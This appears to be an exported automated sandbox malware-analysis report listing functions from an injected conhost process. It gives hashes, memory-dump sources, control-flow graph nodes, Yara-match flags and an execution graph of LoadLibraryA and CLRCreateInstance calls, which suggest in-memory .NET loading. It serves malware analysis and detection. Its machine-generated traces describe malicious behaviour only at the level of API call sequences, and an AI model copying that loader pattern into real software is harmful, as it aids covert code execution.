                                                                      • Instruction ID: a8aea4908458d3f06657af01d3e1923fd6ff0f11929d75e3f2213d31fdaa4d69
                                                                      • Opcode Fuzzy Hash: 09c65e99b25edf28283bafee3c09fc8974dd014a9e34dcf2abb07ec12a5a8764
                                                                      • Instruction Fuzzy Hash: 4F514D20A4F3C15FE3479334ACB9A953FA16F83355F1A41EAE5C5CA4B7C6AE0885C712
                                                                      Function 00007FFD344A03F3 Relevance: .1, Instructions: 145COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: dd26193b413b3774d527a308b971d1d65474bfaaf1a26b54eec25eaeebe61224
                                                                      • Instruction ID: 19258c8debb356e1405daeac4385659a92704371a70e74391b1d3e4379223f34
                                                                      • Opcode Fuzzy Hash: dd26193b413b3774d527a308b971d1d65474bfaaf1a26b54eec25eaeebe61224
                                                                      • Instruction Fuzzy Hash: 0441E663A0F6965FE3615B2898B55FA7FA0EF53324F0900BBC2D8C70C7D95C681A9391
                                                                      Function 00007FFD344A1568 Relevance: .1, Instructions: 122COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 931e7b3baef51f7cccc49717aefc84ce41312b1e5b3624fd56c4b977c40fc9ed
                                                                      • Instruction ID: 3c5ab83d0925055db7519cfeb64803d9be28fe43fc0343d1cfecc5593feb6fab
                                                                      • Opcode Fuzzy Hash: 931e7b3baef51f7cccc49717aefc84ce41312b1e5b3624fd56c4b977c40fc9ed
                                                                      • Instruction Fuzzy Hash: 6C312CB2B0EA891FF7A5D72C44BD1BA7BE1EF95310B1800BDD14AC72D6DD196C068741
                                                                      Function 00007FFD344A15A5 Relevance: .1, Instructions: 104COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 1cdb4f86e759169095a2fd2e68963213d3b09715cddc0a75c86d370a864af643
                                                                      • Instruction ID: a8b219dbb4ad89ccd771f507b357d3167ceaf47b6b08afa6f40ff0ef6669e11d
                                                                      • Opcode Fuzzy Hash: 1cdb4f86e759169095a2fd2e68963213d3b09715cddc0a75c86d370a864af643
                                                                      • Instruction Fuzzy Hash: 3031E972B09E851FF7A9DB2C44BD17977E2EFA921071900BDD14BC7296DD29AC028740
                                                                      Function 00007FFD344A05A8 Relevance: .1, Instructions: 87COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: ecfb66e9296e16c2480a114bde4e71609612ab049e3b9bd5cdb8655f0ea5cdaa
                                                                      • Instruction ID: a1f953d6855aa2f367ec4dba79e988d8cfbdc5e87087851f7b4844a2c2dfbdfb
                                                                      • Opcode Fuzzy Hash: ecfb66e9296e16c2480a114bde4e71609612ab049e3b9bd5cdb8655f0ea5cdaa
                                                                      • Instruction Fuzzy Hash: 6D31C370A1D5481FEB55EFB884667A9BBE0DF45300F1404BDD04EDB2E3CD2A6842C781
                                                                      Function 00007FFD344A0623 Relevance: .1, Instructions: 84COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 8f8cfe31559398a14dbf7c1a85d97351f205b8a35f645460d6f8be2f3f082b95
                                                                      • Instruction ID: f9ebdca3c3780ec2066053baa486f89e8beaa8aa15d95977fa928fdf5ab969d2
                                                                      • Opcode Fuzzy Hash: 8f8cfe31559398a14dbf7c1a85d97351f205b8a35f645460d6f8be2f3f082b95
                                                                      • Instruction Fuzzy Hash: A721D670A1D5481FEB55EFB884667A9BBE0DF45300F1404BDD04EDB2E3CD2A6846C781
                                                                      Function 00007FFD344A079E Relevance: .1, Instructions: 77COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 8afa119ac41af7bc9d92cf44f4e19c6b658a16789f7e2c48f5cc10404c1246f5
                                                                      • Instruction ID: 3869cc0669ce34f2951c8d7addec113b1504cf72ae4174dc721f052509ea8d9f
                                                                      • Opcode Fuzzy Hash: 8afa119ac41af7bc9d92cf44f4e19c6b658a16789f7e2c48f5cc10404c1246f5
                                                                      • Instruction Fuzzy Hash: E521A7B161E9891FD746AFB8447A5B9BFE0DF0A200B1544FEC08ADB5E3C86998468341
                                                                      Function 00007FFD344A071F Relevance: .0, Instructions: 50COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 747899d016ad87a91160ca01d66c55177ecddf2c8e518c7269ac5c74dff30e7c
                                                                      • Instruction ID: a50c67d6031e45fc9090abf0ef0708fcf7f5ca8b53bd32ca449ff4409ba5479f
                                                                      • Opcode Fuzzy Hash: 747899d016ad87a91160ca01d66c55177ecddf2c8e518c7269ac5c74dff30e7c
                                                                      • Instruction Fuzzy Hash: CA01D870A19A5D0FD755EFB884661E9BBE0EF49300B1004BED00AC71D3CD3AA802C781
                                                                      Function 00007FFD344A0508 Relevance: .0, Instructions: 44COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 00db20b03bea8dc1d4f523323953cade470681f1ae1eec3b6c49e4ac127833bd
                                                                      • Instruction ID: 9d211a7089a9bf85752e4ca090ee1469e4d32c58dd350ef659a8b3bedac6f916
                                                                      • Opcode Fuzzy Hash: 00db20b03bea8dc1d4f523323953cade470681f1ae1eec3b6c49e4ac127833bd
                                                                      • Instruction Fuzzy Hash: 80012C70E0A5194FEBA4EFA884A86BD77E1EF5A301F110079D00ED7296CE7DA841D700
                                                                      Function 00007FFD344A664A Relevance: .0, Instructions: 36COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: d714cb71c245e148662521c2b41d94fe1d8d73996786f05f3c6bd97c6513b90d
                                                                      • Instruction ID: 36bac0d75d9266395625a69017298e0d4744e6dab1ff4776b6f223e722f85b2a
                                                                      • Opcode Fuzzy Hash: d714cb71c245e148662521c2b41d94fe1d8d73996786f05f3c6bd97c6513b90d
                                                                      • Instruction Fuzzy Hash: E7F02B21B2C9494AEF89BFAC90A27FA7390FF50304F4441B6C40EC61CBCD6DD4058390
                                                                      Function 00007FFD344A04EF Relevance: .0, Instructions: 33COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: d53da9917144b3ef6db06e84fc816dc781545b04ab9fd1f697dfb5d55b5ccfbb
                                                                      • Instruction ID: 15f5793a5462e7606399f75e10d94a80906c360ef92f69b6143eabb333a2a8d0
                                                                      • Opcode Fuzzy Hash: d53da9917144b3ef6db06e84fc816dc781545b04ab9fd1f697dfb5d55b5ccfbb
                                                                      • Instruction Fuzzy Hash: B1F0E271A1A69D5FD352DF7844B93A5BBE0DF1A210F0908FEC4C9DB2D2D92468869302
                                                                      Function 00007FFD344A11D0 Relevance: .0, Instructions: 32COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 44d4fa0d9a702e8bc95203c0ab6dd1ec2224b2d69e9f78f329fe06f9a59c9044
                                                                      • Instruction ID: dc98034216b21747bf8706207cd85e327dec9758becc9acd4b0d826471f87847
                                                                      • Opcode Fuzzy Hash: 44d4fa0d9a702e8bc95203c0ab6dd1ec2224b2d69e9f78f329fe06f9a59c9044
                                                                      • Instruction Fuzzy Hash: 5DE08631B18C1D0FDBA8FB3C5465AA962D7EBDC31075606B6E40CC7356ED28DC518380
                                                                      Function 00007FFD344A0562 Relevance: .0, Instructions: 30COMMON
                                                                      Download Yara Rule
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 23ba63f2a5b205759a4a10ca1f9ab2190449448f01d6530acbc41cbc8814e7fb
                                                                      • Instruction ID: 62085a8deaea261e8d110f3a297c5a1aeb8c1e146c58b9ef981ad4db7b1f814c
                                                                      • Opcode Fuzzy Hash: 23ba63f2a5b205759a4a10ca1f9ab2190449448f01d6530acbc41cbc8814e7fb
                                                                      • Instruction Fuzzy Hash: 6DE048C1B1F9491FE791EBBC447A2B99BC6DF8A110B0545F9C04AC76D7DC2898064245

                                                                      Execution Graph

                                                                      Execution Coverage:11.6%
                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                      Signature Coverage:0%
                                                                      Total number of Nodes:21
                                                                      Total number of Limit Nodes:2
                                                                      execution_graph 2282 1ec44b2d4af LoadLibraryA 2283 1ec44b2d4c7 2282->2283 2260 1ec44b2e306 2261 1ec44b2e328 2260->2261 2262 1ec44b2e37c 2261->2262 2263 1ec44b2e454 LoadLibraryA 2261->2263 2264 1ec44b2e469 2261->2264 2263->2261 2264->2262 2271 1ec44b2e51d 2264->2271 2279 1ec44b2d4a2 2264->2279 2266 1ec44b2e4f7 2266->2262 2267 1ec44b2e4f3 2266->2267 2267->2266 2272 1ec44b2d5ba LoadLibraryA 2267->2272 2270 1ec44b2e50c 2270->2262 2270->2271 2271->2262 2274 1ec44b2e0b2 2271->2274 2273 1ec44b2d5df 2272->2273 2273->2270 2275 1ec44b2e0f2 CLRCreateInstance 2274->2275 2277 1ec44b2e10b 2274->2277 2275->2277 2276 1ec44b2e2b2 2276->2262 2277->2276 2277->2277 2278 1ec44b2e2a9 SafeArrayDestroy 2277->2278 2278->2276 2280 1ec44b2d4af LoadLibraryA 2279->2280 2281 1ec44b2d4c7 2280->2281 2281->2267

                                                                      Executed Functions

                                                                      Function 000001EC44B2E306 Relevance: 1.9, APIs: 1, Instructions: 378libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 35 1ec44b2e306-1ec44b2e357 call 1ec44b2f4de * 3 42 1ec44b2e389 35->42 43 1ec44b2e359-1ec44b2e35c 35->43 45 1ec44b2e38c-1ec44b2e39d 42->45 43->42 44 1ec44b2e35e-1ec44b2e361 43->44 44->42 46 1ec44b2e363-1ec44b2e37a 44->46 48 1ec44b2e39e-1ec44b2e3c9 call 1ec44b2fa5e call 1ec44b2fa7e 46->48 49 1ec44b2e37c-1ec44b2e383 46->49 55 1ec44b2e406-1ec44b2e41d call 1ec44b2f4de 48->55 56 1ec44b2e3cb-1ec44b2e400 call 1ec44b2f692 call 1ec44b2f552 48->56 49->42 50 1ec44b2e385 49->50 50->42 55->42 62 1ec44b2e423-1ec44b2e424 55->62 56->55 65 1ec44b2e662-1ec44b2e673 56->65 64 1ec44b2e42a-1ec44b2e430 62->64 66 1ec44b2e432 64->66 67 1ec44b2e469-1ec44b2e473 64->67 70 1ec44b2e6a6-1ec44b2e6c7 call 1ec44b2fa7e 65->70 71 1ec44b2e675-1ec44b2e67f 65->71 72 1ec44b2e434-1ec44b2e436 66->72 68 1ec44b2e4a1-1ec44b2e4aa 67->68 69 1ec44b2e475-1ec44b2e490 call 1ec44b2f4de 67->69 75 1ec44b2e4ac-1ec44b2e4b6 call 1ec44b2d6d2 68->75 76 1ec44b2e4c5-1ec44b2e4c8 68->76 69->65 87 1ec44b2e496-1ec44b2e49f 69->87 96 1ec44b2e6cd-1ec44b2e6cf 70->96 97 1ec44b2e6c9 70->97 71->70 77 1ec44b2e681-1ec44b2e69f call 1ec44b2fa7e 71->77 78 1ec44b2e450-1ec44b2e452 72->78 79 1ec44b2e438-1ec44b2e43e 72->79 75->65 93 1ec44b2e4bc-1ec44b2e4c3 75->93 76->65 83 1ec44b2e4ce-1ec44b2e4d8 76->83 77->70 78->67 86 1ec44b2e454-1ec44b2e467 LoadLibraryA 78->86 79->78 85 1ec44b2e440-1ec44b2e44e 79->85 89 1ec44b2e4e2-1ec44b2e4e9 83->89 90 1ec44b2e4da-1ec44b2e4db 83->90 85->72 85->78 86->64 87->68 87->69 94 1ec44b2e51d-1ec44b2e521 89->94 95 1ec44b2e4eb-1ec44b2e4ec 89->95 90->89 93->89 98 1ec44b2e5fd-1ec44b2e605 94->98 99 1ec44b2e527-1ec44b2e549 94->99 101 1ec44b2e4ee call 1ec44b2d4a2 95->101 96->45 97->96 103 1ec44b2e657-1ec44b2e65d call 1ec44b2eb0e 98->103 104 1ec44b2e607-1ec44b2e60d 98->104 99->65 112 1ec44b2e54f-1ec44b2e569 call 1ec44b2fa5e 99->112 102 1ec44b2e4f3-1ec44b2e4f5 101->102 105 1ec44b2e4f7-1ec44b2e4fe 102->105 106 1ec44b2e504-1ec44b2e507 call 1ec44b2d5ba 102->106 103->65 109 1ec44b2e60f-1ec44b2e615 104->109 110 1ec44b2e624-1ec44b2e636 call 1ec44b2e0b2 104->110 105->65 105->106 116 1ec44b2e50c-1ec44b2e50e 106->116 109->65 113 1ec44b2e617-1ec44b2e622 call 1ec44b2ef6a 109->113 119 1ec44b2e648-1ec44b2e655 call 1ec44b2db52 110->119 120 1ec44b2e638-1ec44b2e643 call 1ec44b2e6d6 110->120 126 1ec44b2e56b-1ec44b2e56e 112->126 127 1ec44b2e589-1ec44b2e5b2 112->127 113->65 116->94 121 1ec44b2e510-1ec44b2e517 116->121 119->65 120->119 121->65 121->94 126->98 129 1ec44b2e574-1ec44b2e587 call 1ec44b2f7e2 126->129 127->65 133 1ec44b2e5b8-1ec44b2e5f8 127->133 134 1ec44b2e5fa-1ec44b2e5fb 129->134 133->65 133->134 134->98
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001EC44910000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_1ec44910000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: 3e59d4ab724c08e6b22ba473b307acd4b5c1413bc74445e9518118106af40b14
                                                                      • Instruction ID: f0c932309a4a2c46eba97caa427afde9d2662e73d97bc4749e0377fa399599f9
                                                                      • Opcode Fuzzy Hash: 3e59d4ab724c08e6b22ba473b307acd4b5c1413bc74445e9518118106af40b14
                                                                      • Instruction Fuzzy Hash: 4AC17130214D455BFB59EA29CCA9BFEF3D1FB99300F644129D85AC71C6DB24E9438AC1
                                                                      Function 00007FFD344A516C Relevance: .4, Instructions: 399COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 362 7ffd344a516c-7ffd344a51d7 365 7ffd344a51d9-7ffd344a51e2 362->365 366 7ffd344a5243 362->366 365->366 368 7ffd344a51e4-7ffd344a51f0 365->368 367 7ffd344a5245-7ffd344a526a 366->367 375 7ffd344a52d6 367->375 376 7ffd344a526c-7ffd344a5275 367->376 369 7ffd344a5229-7ffd344a5241 368->369 370 7ffd344a51f2-7ffd344a5204 368->370 369->367 372 7ffd344a5206 370->372 373 7ffd344a5208-7ffd344a521b 370->373 372->373 373->373 374 7ffd344a521d-7ffd344a5225 373->374 374->369 378 7ffd344a52d8-7ffd344a5380 375->378 376->375 377 7ffd344a5277-7ffd344a5283 376->377 379 7ffd344a5285-7ffd344a5297 377->379 380 7ffd344a52bc-7ffd344a52d4 377->380 389 7ffd344a53ee 378->389 390 7ffd344a5382-7ffd344a538c 378->390 382 7ffd344a5299 379->382 383 7ffd344a529b-7ffd344a52ae 379->383 380->378 382->383 383->383 385 7ffd344a52b0-7ffd344a52b8 383->385 385->380 392 7ffd344a53f0-7ffd344a5419 389->392 390->389 391 7ffd344a538e-7ffd344a539b 390->391 393 7ffd344a539d-7ffd344a53af 391->393 394 7ffd344a53d4-7ffd344a53ec 391->394 398 7ffd344a541b-7ffd344a5426 392->398 399 7ffd344a5483 392->399 396 7ffd344a53b1 393->396 397 7ffd344a53b3-7ffd344a53c6 393->397 394->392 396->397 397->397 400 7ffd344a53c8-7ffd344a53d0 397->400 398->399 401 7ffd344a5428-7ffd344a5436 398->401 402 7ffd344a5485-7ffd344a5516 399->402 400->394 403 7ffd344a5438-7ffd344a544a 401->403 404 7ffd344a546f-7ffd344a5481 401->404 410 7ffd344a551c-7ffd344a552b 402->410 405 7ffd344a544c 403->405 406 7ffd344a544e-7ffd344a5461 403->406 404->402 405->406 406->406 408 7ffd344a5463-7ffd344a546b 406->408 408->404 411 7ffd344a552d 410->411 412 7ffd344a5533-7ffd344a558b call 7ffd344a55b4 410->412 411->412
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 390bf105e113866c8fb6c6665b68b75349ff46b6cfba5b069c0bab0fedc72980
                                                                      • Instruction ID: 4e0eefeda917c46ea5655cade7aadd0d633fb1337c4df9e00d1fe23e07f39ed2
                                                                      • Opcode Fuzzy Hash: 390bf105e113866c8fb6c6665b68b75349ff46b6cfba5b069c0bab0fedc72980
                                                                      • Instruction Fuzzy Hash: 97D18130A18A4D8FEBE8DF28D8557E977E1FB58301F44427AE84DC7295CF78A9448B81
                                                                      Function 00007FFD344A5F1C Relevance: .4, Instructions: 382COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 419 7ffd344a5f1c-7ffd344a5f87 422 7ffd344a5f89-7ffd344a5f92 419->422 423 7ffd344a5ff3 419->423 422->423 424 7ffd344a5f94-7ffd344a5fa0 422->424 425 7ffd344a5ff5-7ffd344a601a 423->425 426 7ffd344a5fd9-7ffd344a5ff1 424->426 427 7ffd344a5fa2-7ffd344a5fb4 424->427 431 7ffd344a6086 425->431 432 7ffd344a601c-7ffd344a6025 425->432 426->425 429 7ffd344a5fb6 427->429 430 7ffd344a5fb8-7ffd344a5fcb 427->430 429->430 430->430 433 7ffd344a5fcd-7ffd344a5fd5 430->433 435 7ffd344a6088-7ffd344a60ad 431->435 432->431 434 7ffd344a6027-7ffd344a6033 432->434 433->426 436 7ffd344a6035-7ffd344a6047 434->436 437 7ffd344a606c-7ffd344a6084 434->437 442 7ffd344a611b 435->442 443 7ffd344a60af-7ffd344a60b9 435->443 438 7ffd344a6049 436->438 439 7ffd344a604b-7ffd344a605e 436->439 437->435 438->439 439->439 441 7ffd344a6060-7ffd344a6068 439->441 441->437 444 7ffd344a611d-7ffd344a614b 442->444 443->442 445 7ffd344a60bb-7ffd344a60c8 443->445 452 7ffd344a61bb 444->452 453 7ffd344a614d-7ffd344a6158 444->453 446 7ffd344a60ca-7ffd344a60dc 445->446 447 7ffd344a6101-7ffd344a6119 445->447 448 7ffd344a60de 446->448 449 7ffd344a60e0-7ffd344a60f3 446->449 447->444 448->449 449->449 451 7ffd344a60f5-7ffd344a60fd 449->451 451->447 454 7ffd344a61bd-7ffd344a6295 452->454 453->452 455 7ffd344a615a-7ffd344a6168 453->455 465 7ffd344a629b-7ffd344a62aa 454->465 456 7ffd344a616a-7ffd344a617c 455->456 457 7ffd344a61a1-7ffd344a61b9 455->457 459 7ffd344a617e 456->459 460 7ffd344a6180-7ffd344a6193 456->460 457->454 459->460 460->460 462 7ffd344a6195-7ffd344a619d 460->462 462->457 466 7ffd344a62ac 465->466 467 7ffd344a62b2-7ffd344a6307 call 7ffd344a6330 465->467 466->467
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2266082788.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: f5f4684da6ee15ec609c879c04d41b1053c657fcfef76498b5728ca08d92568f
                                                                      • Instruction ID: 83aeb5203282c1058fad0ccd77b4db1c63812dbc0cac2f40506e48fcbd179dc5
                                                                      • Opcode Fuzzy Hash: f5f4684da6ee15ec609c879c04d41b1053c657fcfef76498b5728ca08d92568f
                                                                      • Instruction Fuzzy Hash: 21D18530A19A4D8FEBA8DF28C8A57E977D1FB54301F14423EE84DC7295CF7899848B81
                                                                      Function 000001EC44B2E0B2 Relevance: 3.2, APIs: 2, Instructions: 235COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001EC44910000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_1ec44910000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: ArrayCreateDestroyInstanceSafe
                                                                      • String ID:
                                                                      • API String ID: 3902440814-0
                                                                      • Opcode ID: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
                                                                      • Instruction ID: b11b30b07e6bca689d4411a8f5383924ab209bcab3e5c1e3dc0fd787787f376c
                                                                      • Opcode Fuzzy Hash: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
                                                                      • Instruction Fuzzy Hash: 8E816231208F488FDB68DF29C898BDAB7E1FF95301F100A6DD89BC7195EA31E5458B81
                                                                      Function 000001EC44B2D5BA Relevance: 1.6, APIs: 1, Instructions: 125libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 136 1ec44b2d5ba-1ec44b2d5dd LoadLibraryA 137 1ec44b2d5df-1ec44b2d5e4 136->137 138 1ec44b2d5e9-1ec44b2d5fc 136->138 139 1ec44b2d6c0-1ec44b2d6d0 137->139 141 1ec44b2d6be 138->141 142 1ec44b2d602-1ec44b2d613 138->142 141->139 142->141 143 1ec44b2d619-1ec44b2d631 142->143 143->141 145 1ec44b2d637-1ec44b2d66b call 1ec44b2fa5e 143->145 145->141 150 1ec44b2d66d-1ec44b2d67e 145->150 150->141 151 1ec44b2d680-1ec44b2d697 150->151 151->141 153 1ec44b2d699-1ec44b2d6b9 call 1ec44b2fa5e 151->153 153->137
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001EC44910000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_1ec44910000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: b9899973228e27afe5cd12ba725bdcaa8ab2dda5fbf9bec908c7854605e3daf5
                                                                      • Instruction ID: e0652ba72594afe3f987b7ba356b47628424bb54a46770d1c0a8323829307f2b
                                                                      • Opcode Fuzzy Hash: b9899973228e27afe5cd12ba725bdcaa8ab2dda5fbf9bec908c7854605e3daf5
                                                                      • Instruction Fuzzy Hash: B431833170CE484FEB59AA68EC592AAB3D9F794310F101159EC4BC32CADD64DE0687C1
                                                                      Function 000001EC44B2D4AF Relevance: 1.6, APIs: 1, Instructions: 115libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 157 1ec44b2d4af-1ec44b2d4c5 LoadLibraryA 158 1ec44b2d4d1-1ec44b2d4e4 157->158 159 1ec44b2d4c7-1ec44b2d4cc 157->159 162 1ec44b2d5a6 158->162 163 1ec44b2d4ea-1ec44b2d4fb 158->163 160 1ec44b2d5a8-1ec44b2d5b8 159->160 162->160 163->162 164 1ec44b2d501-1ec44b2d519 163->164 164->162 166 1ec44b2d51f-1ec44b2d553 call 1ec44b2fa5e 164->166 166->162 171 1ec44b2d555-1ec44b2d566 166->171 171->162 172 1ec44b2d568-1ec44b2d57f 171->172 172->162 174 1ec44b2d581-1ec44b2d5a1 call 1ec44b2fa5e 172->174 174->159
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001EC44910000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_14_2_1ec44910000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
                                                                      • Instruction ID: 04d8916232fe7a3a3fb4e39fcc3c40a0c42964d5f71bc4a397c2f43d8c501623
                                                                      • Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
                                                                      • Instruction Fuzzy Hash: E6317031308E594BDB54BA58D8996D9B3D6F7D8320F10025A9C1BC72C9DD60DD0687C1
                                                                      Function 000001EC44B2D4A2 Relevance: 1.5, APIs: 1, Instructions: 34libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
